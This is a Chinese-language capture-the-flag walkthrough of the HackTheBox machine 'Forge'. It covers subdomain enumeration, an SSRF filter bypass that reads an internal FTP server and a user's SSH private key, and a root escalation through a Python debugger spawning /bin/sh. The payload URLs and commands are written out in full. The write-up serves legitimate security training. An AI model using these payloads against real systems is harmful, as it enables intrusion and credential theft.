大家好,我是你们好朋友小峰。陆陆续续为大家推出CTF-Horizontall HackTheBox 系列文章。
Forge是一个CTF Linux盒子,在HackTheBox平台的难度范围内被评为“中等”。该靶场内容涵盖了子域枚举、SSRF攻击和用于特权升级的python脚本的逆向工程。
********2.1信息收集
·Nmap
2.2目录列举
·使用wfuzz进行子域枚举
·在Web应用程序上检查文件上传过滤器
2.3漏洞利用
·利用SSRF读取私有SSH密钥
·使用此SSH密钥登录
2.4权限提升
·了解以sudo运行的python脚本
·通过利用pdb获得根
靶场机分配专用IP地址是10.129.164.116。使用nmap端口扫描工具对靶场IP nmap扫描。我们查看nmap扫描结果,服务器试图将请求重定向到http://forge.htb。我们将在主机文件中添加此IP并访问网络服务器。(如图3.1所示)
nmap -sV -sC -p 1-1000 10.129.164.116
图3.1 namp扫描端口
现在,我们访问靶场服务器,该服务器似乎正在运行一个图片画展网站。(如图3.2所示)
图3.2 访问网站页面
正如我们所看到的,图片画展中有一个上传功能。我们尝试上传PHP有效负载并获得反向shell,但没有成功。然而,文件正在上传到服务器,内容在那它没有执行代码。
然而,由于该网站正在重定向到 forge.htb,因此网站上可能还有其他子域。我们为这个暴力使用了wfuzz(以及秘密列表的单词列表)。
wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "主机:FUZZ.forge.htb" --sc 200 10.129.164.116
这表明admin.forge.htb存在。(如图4.1所示)
图4.1 子域名枚举
然而,在使用curl打开URL时,发现了一个错误。意味着服务器上有一个访问控制过滤器。(如图4.2所示)
echo "10.129.164.116 admin.forge.htb" >> /etc/hosts
图4.2 访问admin页面
因此,我们查看另一个上传选项“可以上传URL网站”。只允许HTTP、HTTPS URL。(如图4.3所示)
图4.3 支持http/https协议访问
我使用netcat在端口80上设置了一个监听器,输入http://10.10.16.10/shell.php使用我的HTB隧道IP。(如图4.4所示)
图4.4 设置htb隧道地址
在我的netcat监听器上,我可以看到试图获取shell.php的网站。这里有一些需要注意的内容:
·服务器试图从我的IP中获取指定的文件shell.php
·请求在主机头中了我的IP
·用户代理是python-requests,这是一个python爬虫(如图4.5所示)
图4.5 设置监听反弹访问网站内容
现在服务器已经建立,服务器试图获取远程文件,我们可以从这里开始渗透。我的第一个想法是使用此远程URL功能访问admin.forge.htb,因为该页面只允许localhost访问。通过访问我们发现了一个新问题。(如图5.1所示)
图5.1访问admin子域禁止黑名单
这个地址被列入黑名单。让我们看看是否可以在所有大写字母(ADMIN.forge.htb)中键入子域“admin”来绕过这一点,这个也是渗透测试中常常绕过waf的方式,尤其是注入、xss等类型的漏洞。通过转换大小写看起来我们现在可以访问admin.forge.htb这个应用网站。这个漏洞被称为SSRF(服务器端请求伪造),攻击者能够篡改服务器上的后端请求,并突破各种访问控制(如这里的本地主机),以访问敏感文件,甚至获得远程shell。(如图5.2所示)
图5.2 通过大小写绕过本地访问策略
这告诉我一个页面/公告,然后我试图使用http://ADMIN.forge.htb/announcements访问该页面/公告,但这也被列入黑名单。所以,我使用了这个有效载荷:
从这一结果中推断出的重要关键点如下:
·内部FTP服务器正在运行,其凭据为用户:heightofsecurity123!
·上传文件选项支持FTP和FTPS
·?u=可用于在/uploads页面上上传图像。(如图5.3所示)
图5.3 发现ftp服务器登录账号密码
因此,如果/上传方式支持通过URL和FTP协议进行包含,我们可以利用SSRF并访问内部FTP服务器!我使用的有效载荷是(如图5.4所示)
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/
图5.4 登录ftp服务器查看文件列表
现在,如果我能访问user.txt,可能也可以访问私有SSH密钥。我使用这个有效载荷做到了这一点:(如图5.5所示)
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id\_rsa
图5.5 查看ssh的id_rsa密钥
将该密钥保存在我的本地系统中,我们可以登录受害者框。(如图5.6所示)
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htb
图5.6 ssh登录服务器
0x06 特权升级
现在我们有了一个稳定的用户shell,我们可以持续权限提升。我检查了sudoers文件,该文件有一个python脚本可以作为root运行。此脚本打开了一个监听器,供远程客户端连接。此外,它将输入密码与硬编码的凭据secretadminpassword进行比较(如图6.1所示)
sudo -l
cat /opt/remote-manage.py
图6.1发现配置文件账号密码
让我们这样做,然后从另一个终端再次登录此用户,并使用netcat连接到脚本。(如图6.2所示)
sudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465
图6.2 打开另外一个终端连接服务器
现在,我正在有效地与一个root运行的python脚本进行通信。你会注意到这个脚本还有缺陷。如果我输入“秘密管理员密码”以外的任何内容,它就会抛出异常并打开Python调试器。(如图6.3所示)
图6.3 python导入os模块
现在,我们有一个Python调试器(pdb)作为root运行。如果这个缺陷不存在,我们会使用缓冲区溢出攻击进入调试器。无论如何,我们可以使用调试器作为root执行任何功能。我在这里使用了gtfobins使用的技术。只需使用os模块调用shell。这就是我们在这个渗透盒子的root权限。 (如图6.4所示)
import os;os.system(“/bin/sh”)
id
cat /root/root.txt
图6.4 提升权限为root用户
这个渗透测试靶场虚拟中,我们涵盖了子域枚举、SSRF和基本的Python逆向工程。希望你喜欢这篇文章。
本系列准备开启国内外安全靶场渗透测试系列也欢迎大家投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速带领大家学习红队各系列知识。
红日安全长期、短期项目招聘:Hvv、重保、安服、培训等项目
文章投稿&项目招聘邮箱:
同样感谢一直在安全圈中深耕着的每一位hacker
描下方二维码,期待加入红日安全交流群:
有幸一起并肩前行,有幸一起见证着“红日”成长。在大家身上我已经收获得足够多了,是时候用实际行动向安全世界说声谢谢了。
作者:小峰
编辑:小jia
红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
(来源:红日安全)
海量安全课程
阅读原文 即可观看